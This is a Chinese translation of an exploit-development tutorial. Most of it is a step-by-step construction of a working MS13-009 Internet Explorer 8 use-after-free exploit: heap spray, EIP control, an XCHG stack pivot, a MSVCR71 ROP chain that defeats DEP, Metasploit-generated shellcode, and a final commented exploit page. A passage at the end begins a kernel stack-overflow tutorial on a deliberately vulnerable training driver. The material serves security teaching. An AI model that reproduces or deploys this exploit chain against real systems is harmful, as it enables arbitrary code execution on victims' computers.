    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
  
    var data;
    var objArray = new Array(1150);
   
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
   
    //CollectGarbage();
   
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
   
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>


从下面的截图可以看到，我们覆盖了EIP为0x90909090，这是因为EIP从0x0c0c0c0c+0x70=0x0c0c0c7c中获取了DWORD值，它指向我们的nopslide。
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这一开始会有点困惑，下面的图示会帮助你理清！

mshtml!CElement::Doc:
3cf76980 8b01            mov     eax,dword ptr [ecx]      /// eax = 0x0c0c0c0c
3cf76982 8b5070          mov     edx,dword ptr [eax+70h]  /// edx = 0x0c0c0c0c + 0x70 = DWORD 0x0c0c0c7c
3cf76985 ffd2            call    edx                      /// call DWORD 0x0c0c0c7c


 ________________________
|                        |
|        Padding         |
|                        |
|                        |
|                        |
|                        |
|                        |
|------------------------| <-- 0x0c0c0c0c (= EAX), this points exactly at the start of our shellcode 
|       Shellcode        |     variable.
|------------------------|
|                        |
|                        |
|         NOP's          |
|                        |
|                        | <-- 0x0c0c0c7c (= EAX+70h), EIP is overwritten by the DWORD value at this 
|                        |     address, in this case 0x90909090.
|                        |
|                        |
|                        |
|                        |
|                        |
|     (0x1000 Block)     |
|________________________|


让我们尝试把shellcode进行padding从而让它精准的覆盖EIP。我们可以通过预置一个缓冲区长度为0x70的unescape ASCII字符串来实现（112-bytes = 28-DWORD’s）。

<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+   // Padding 0x70 hex!
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
  
    var data;
    var objArray = new Array(1150);
   
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
   
    //CollectGarbage();
   
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
   
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>


如期所致，我们完美的控制了EIP。提醒一下，EIP的值是小端字节序。
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0x1000块的新布局如下。

 ________________________
|                        |
|        Padding         |
|                        |
|                        |
|                        |
|                        |
|                        |
|------------------------| <-- 0x0c0c0c0c (= EAX), this points exactly at the start of our shellcode 
|                        |     variable.
|                        |
|       Shellcode        |
|                        |
|                        |
|                        |
|---------[EIP]----------| <-- 0x0c0c0c7c (= EAX+70h), EIP is overwritten by the DWORD value at this 
|                        |     address.
|                        |
|         NOP's          |
|                        |
|                        |
|                        |
|     (0x1000 Block)     |
|________________________|


完美！现在我们不得不面对下一个障碍。我们的ROP链和shellcode会放在堆上，但是我们的栈指针（=ESP）指向了mshtml的某处。任何ROP gadget执行后都将返回到下一个栈上的地址因此我们需要劫持栈（Stack Pivot），把栈从mshtml的某处劫持到我们控制的堆上来（0x1000字节块）。你可能记得EAX指向了shellcode的起始，因此如果我们找到了一个ROP gadget可以将EAX交换给ESP的话（mov esp,eax/xchg eax,esp），我们就可以实现栈劫持并从0x0c0c0c0c地址处开始执行ROP链了。

我将从MSVCR71.dll中使用ROP gadgets，它是java6的包，会被IE自动加载。我通过 mona生成了两个文本文件：


	MSVCR71_rop_suggestions.txt包含了各种主题组织成的ROP gadgets列表

	MSVCR71_rop.txt包含了原始的ROP gadgets列表



如果你想要玩玩的话我建议你去下载这些文件并用正则来解析它们。

MSVCR71_rop_suggestions.txt - here

MSVCR71_rop.txt - here

通过解析文本文件，我们可以简单的搜索到想要的gadget，让我们修改POC，验证一下是否已然万事俱备。


译者注：stack pivot是个偷梁换柱的技术，把堆变成栈，然后在堆上放置的ROP链就发挥作用了。但利用后是否要进行复原操作，或者遗留副作用，则要具体情况具体分析了。另外，作者之所以仅用MSVCR71.dll来生成ROP，是因为这个dll没有开启ASLR，这就为ROP链的地址硬编码提供了稳定性。后期的IE可能找不到没有开启ASLR的模块，通过利用未开启ASLR的模块来绕过ASLR已经不适用了，但这并不代表无计可施，最常见的，我们可以找到某个可以leak info的地方，比如leak处某个对象的虚表地址，利用虚表地址在模块中的偏移就可以获取该模块的基地址（ASLR变的是基地址，但虚表的相对偏移不会变），此时就可以利用这个模块的ROP gadgets了。



<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
    '%u4242%u4242'+  // EIP will be overwritten with 0x42424242 (= BBBB)
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+
    '%u4141%u4141'+  
    '%u8b05%u7c34'); // 0x7c348b05 : # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
  
    var data;
    var objArray = new Array(1150);
   
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
   
    //CollectGarbage();
   
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
   
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>


从截图中可以看到命中了xchg eax, esp指令，如果我们继续执行的话，就可以成功的劫持栈并执行0x0c0c0c0c的第一个DWORD了。
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目前已基本搞定。我们现在需要执行ROP链去禁止一个内存区域的DEP保护，此后我们就可以执行第二个舞台上防止的payload了。幸运的是，MSVCR71.dll已经被攻击者反复滥用过，该dll有一个优化过的ROP链可用，它由 corelanc0d3r here创建。让我们把这个ROP链插入到POC中并重新运行exp。

<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
     
    //--------------------------------------------------------[ROP]-//
    // Generic ROP-chain based on MSVCR71.dll
    //--------------------------------------------------------------//
    "%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
    "%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
    "%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
    "%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
    "%uffff%uffff" + // 0xffffffff : 
    "%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
    "%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll] 
    "%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll] 
    "%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 
    "%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll] 
    "%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
    "%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll] 
    "%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll] 
    "%ub001%u7c38" + // 0x7c38b001 : &Writable location [msvcr71.dll]
    "%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll] 
    "%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
    "%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 
    "%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp #  ret " [msvcr71.dll]
     
    //-------------------------------------------------[ROP Epilog]-//
    // After calling VirtalProtect() we are left with some junk.
    //--------------------------------------------------------------//
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" + // Junk
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
     
    //-------------------------------------------[EIP - Stackpivot]-//
    // EIP = 0x7c342643 # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
    //--------------------------------------------------------------//
    "%u8b05%u7c34"); // 0x7c348b05 : # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
  
    var data;
    var objArray = new Array(1150);
   
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
   
    //CollectGarbage();
   
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
   
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>


从截图中我们可以看到我们在栈劫持后成功命中了第一个gadget，在调用VirtualProtect后直达我们留下来的junk处。
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现在剩下的就是在junk buffer的最后插入一个短跳转，跳过我们的初始化EIP覆盖位置（XCHG EAX,ESP #RETN）。这里可以放任何shellcode，在短跳转后就得以执行！

<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
     
    //--------------------------------------------------------[ROP]-//
    // Generic ROP-chain based on MSVCR71.dll
    //--------------------------------------------------------------//
    "%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
    "%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
    "%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
    "%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
    "%uffff%uffff" + // 0xffffffff : 
    "%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
    "%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll] 
    "%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll] 
    "%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 
    "%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll] 
    "%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
    "%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll] 
    "%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll] 
    "%ub001%u7c38" + // 0x7c38b001 : &Writable location [msvcr71.dll]
    "%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll] 
    "%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
    "%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 
    "%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp #  ret " [msvcr71.dll]
     
    //-------------------------------------------------[ROP Epilog]-//
    // After calling VirtalProtect() we are left with some junk.
    //--------------------------------------------------------------//
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" + // Junk
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u04eb" + // 0xeb04 short jump to get over what used to be EIP
     
    //-------------------------------------------[EIP - Stackpivot]-//
    // EIP = 0x7c342643 # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
    //--------------------------------------------------------------//
    "%u8b05%u7c34"); // 0x7c348b05 : # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
  
    var data;
    var objArray = new Array(1150);
   
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
   
    //CollectGarbage();
   
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
   
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>


执行短跳转后，我们跳到了覆盖EIP的位置正后方，我们现在就可以执行任何选择的shellcode了。
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Shellcode+游戏结束

最简单的部分，让我们生成一些shellcode！

root@Trident:~# msfpayload windows/messagebox O

       Name: Windows MessageBox
     Module: payload/windows/messagebox
    Version: 0
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 270
       Rank: Normal

Provided by:
  corelanc0d3r <peter.ve@corelan.be>
  jduck <jduck@metasploit.com>

Basic options:
Name      Current Setting   Required  Description
----      ---------------   --------  -----------
EXITFUNC  process           yes       Exit technique: seh, thread, process, none
ICON      NO                yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT      Hello, from MSF!  yes       Messagebox Text (max 255 chars)
TITLE     MessageBox        yes       Messagebox Title (max 255 chars)

Description:
  Spawns a dialog via MessageBox using a customizable title, text & 
  icon


root@Trident:~# msfpayload windows/messagebox text='Bang, bang!' title='b33f' R| msfencode -t js_le
[*] x86/shikata_ga_nai succeeded with size 282 (iteration=1)

%ud1bb%u6f46%ud9e9%ud9c7%u2474%u5af4%uc931%u40b1%uc283%u3104%u115a%u5a03%ue211%u9f24%u7284
%u541f%u717f%u47ae%u0ecd%uaee1%u7a56%u0170%u0a1c%uea7e%uef54%uaaf5%u8490%u1377%uac2a%u1cbf
%ua434%ufb4c%u9745%u1d4d%u9c25%ufadd%u2982%u3f58%u7940%u474a%u6857%ufd01%ue74f%u224f%u1c71
%u168c%u6938%udc66%u83bb%u1db7%u9b8a%u4d4b%udb69%u89c7%u13b3%u972a%u47f4%uacc0%ub386%ua600
%u3797%u6c0a%ua359%ue7cc%u7855%ua29b%u7f79%ud970%uf486%u3687%u4e0f%udaa3%u8c71%uea19%uc658
%u0ed4%u2413%u5e8e%ua76a%u0da2%u289b%u4dc5%udea4%ub67c%u9fe0%u54a6%ue765%ubd4a%u0fd8%u42fc
%u3023%uf889%ua7d4%u6ee5%u76c5%u5d9d%u5737%uca39%ud442%u78a4%u4625%u7702%u91bc%u781c%u59eb
%u4429%ud944%ueb81%ua128%uf756%u8b96%u69b0%ud428%u02bf%u0b8e%uf31f%u2e46%uc06c%u9ff0%uae49
%ufba1%u2669%u6cba%u5f1f%u351c%ub3b7%ua77e%ua426%u463c%u53c6%u41f0%ud09e%u5ad6%u0917%u8f27
%u9975%u7d19%ucd86%u41ab%u1128%u499e


很好，现在我们清理POC，增加注释，运行最后的exp。我想再次提及的是这个漏洞有一些不稳定性（大概80%复现），如果有人有什么好主意请留言。

<!-----------------------------------------------------------------------------
// Exploit: MS13-009 Use-After-Free IE8 (DEP)                                //
// Author: b33f - http://www.fuzzysecurity.com/                              //
// OS: Tested on XP PRO SP3                                                  //
// Browser: Internet Explorer 8.00.6001.18702                                //
//---------------------------------------------------------------------------//
// This exploit was created for Part 9 of my Exploit Development tutorial    //
// series => http://www.fuzzysecurity.com/tutorials/expDev/11.html           //
------------------------------------------------------------------------------>
 
<!doctype html>
<html>
<head>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
     
    //--------------------------------------------------------[ROP]-//
    // Generic ROP-chain based on MSVCR71.dll
    //--------------------------------------------------------------//
    "%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
    "%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
    "%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
    "%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
    "%uffff%uffff" + // 0xffffffff : 
    "%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
    "%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll] 
    "%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll] 
    "%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 
    "%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll] 
    "%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
    "%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll] 
    "%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll] 
    "%ub001%u7c38" + // 0x7c38b001 : &Writable location [msvcr71.dll]
    "%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll] 
    "%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
    "%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 
    "%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp #  ret " [msvcr71.dll]
     
    //-------------------------------------------------[ROP Epilog]-//
    // After calling VirtalProtect() we are left with some junk.
    //--------------------------------------------------------------//
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" + // Junk
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u4141" +
    "%u4141%u04eb" + // 0xeb04 short jump to get over what used to be EIP
     
    //-------------------------------------------[EIP - Stackpivot]-//
    // EIP = 0x7c342643 # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
    //--------------------------------------------------------------//
    "%u8b05%u7c34" + // 0x7c348b05 : # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
     
    //--------------------------------------------------[shellcode]-//
    // js Little Endian Messagebox => "Bang, bang!"
    //--------------------------------------------------------------//
    "%ud1bb%u6f46%ud9e9%ud9c7%u2474%u5af4%uc931%u40b1%uc283%u3104%u115a%u5a03%ue211" +
    "%u9f24%u7284%u541f%u717f%u47ae%u0ecd%uaee1%u7a56%u0170%u0a1c%uea7e%uef54%uaaf5" +
    "%u8490%u1377%uac2a%u1cbf%ua434%ufb4c%u9745%u1d4d%u9c25%ufadd%u2982%u3f58%u7940" +
    "%u474a%u6857%ufd01%ue74f%u224f%u1c71%u168c%u6938%udc66%u83bb%u1db7%u9b8a%u4d4b" +
    "%udb69%u89c7%u13b3%u972a%u47f4%uacc0%ub386%ua600%u3797%u6c0a%ua359%ue7cc%u7855" +
    "%ua29b%u7f79%ud970%uf486%u3687%u4e0f%udaa3%u8c71%uea19%uc658%u0ed4%u2413%u5e8e" +
    "%ua76a%u0da2%u289b%u4dc5%udea4%ub67c%u9fe0%u54a6%ue765%ubd4a%u0fd8%u42fc%u3023" +
    "%uf889%ua7d4%u6ee5%u76c5%u5d9d%u5737%uca39%ud442%u78a4%u4625%u7702%u91bc%u781c" +
    "%u59eb%u4429%ud944%ueb81%ua128%uf756%u8b96%u69b0%ud428%u02bf%u0b8e%uf31f%u2e46" +
    "%uc06c%u9ff0%uae49%ufba1%u2669%u6cba%u5f1f%u351c%ub3b7%ua77e%ua426%u463c%u53c6" +
    "%u41f0%ud09e%u5ad6%u0917%u8f27%u9975%u7d19%ucd86%u41ab%u1128%u499e");
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
  
    var data;
    var objArray = new Array(1150);
   
    setTimeout(function(){
    document.body.style.whiteSpace = "pre-line";
   
    //CollectGarbage();
   
        for (var i=0;i<1150;i++){
            objArray[i] = document.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
   
        setTimeout(function(){document.body.innerHTML = "boo"}, 100)
        }, 100)
   
</script>
</head>
<body>
<p> </p>
</body>
</html>
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  Welcome file
  





  第十部分：内核利用程序之栈溢出

fuzzySecurity于16年更新了数篇Windows内核exp的教程，本文是内核篇的第一篇。点击查看原文。


欢迎来到本系列的第十幕，自上次一别已是三年匆匆。我们这次将来一场ring0之旅，一步一步迎接新的挑战！这一幕我们将看看Windows 7（没有SMEP&SMAP）上一个普通的内核栈溢出。我们的目标虽然是32位的但这一并不意味着可以变得简单，除却一些次要的变化，在64位机上该exploit也同样生效。

我们的目标驱动是一个非常出色的项目，它由@HackSysTeam完成，他们创建了一个demo驱动，该驱动内置了一些漏洞用于实践内核漏洞的利用，棒极了！让我们开始吧。


	HackSysExtremeVulnerableDriver(hacksysteam)

	Kernel Data Structures(CodeMachine)

	x64 Kernel Privilege Escalation(McDermott)

	Abusing GDI for ring0 exploit primitives(Core Security)

	VirtualKD

	Kernel debugging with IDA Pro, Windbg plugin and VirtualKd(hexblog)

	OSR Driver Loader




译者注：以上包含的文章如果未译，我日后会翻译。这几篇此前看过，都是很经典的干货。



环境部署

作为第一步我想先简单的叙述调试环境的设置，这通常很痛苦。特别的，安装的目标使用Windows（这我知道，来吧！）。

首先通过上面的链接获取VirtualKD，解压然后安装target中的vminstall组件到待调试的VM。
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完成后在宿主机（x86/x64）启动vmmon并重启VM。你可以看到类似这样的东西：
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配置"Debugger path…"，让它指向你宿主机的WinDBG；VM重启时选择VirtualKD的boot选项，此时你可以看到它会自动attach到机器上。很简单&并不痛苦！
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还差加载漏洞驱动程序。通过前面的链接获取OSR Driver Loader工具（你可能需要注册->任意邮箱）。打开OSR Loader工具，注册服务（你可能需要重启），完成以后，单击浏览，选择漏洞驱动程序并点击启动服务。如果一切顺利的话，你将会看到这样的画面：
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如果你通过WinDBG连接到机器，使用"lm"命令就可以看到该驱动程序被成功加载：
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也可以看看挂起IDA Pro到VirtualKD的向导。如果你没有IDA Pro，我建议你下载免费的版本，仅仅需要它的graph view。你可以手动重定向驱动基址(rebase)来保证和WinDBG中看到的一致（Edit->Segments->Rebase program）。这样一来，你可以可视化的看到当前正发生什么，哪些地址需要下断，在WinDBG中加以利用。

侦查挑战

好，就如前面提到的，我们在本文将进行栈溢出挑战。HackSysTeam提供给了我们驱动的源代码，我们也可以看看相关的部分！

NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};
 
    PAGED_CODE();
 
    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
 
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
 
#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
        // there will be no overflow
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
        DbgPrint("[+] Triggering Stack Overflow\n");
 
        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}


这里展示了含有漏洞的代码，同时也给出了解决的方案。RtlCopyMemory使用一个指向kernel buffer的指针，一个input buffer的指针以及一个指定拷贝字节数的整型数。显然这里有点故事，在有漏洞的版本中，buffer尺寸是基于input buffer的尺寸，而安全版本中尺寸被严格限制到了kernel buffer的大小。如果我们调用到该函数，传递一个尺寸大于kernel buffer的input buffer，就会发现一些端倪。

好，让我们看看IDA中的IrpDeviceIoCtlHandler表，这里驱动程序比较了输入的IOCTL码，找到识别它的例程。
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有相当数量的IOCTL！转到图形的左侧可以看到下面的内容：
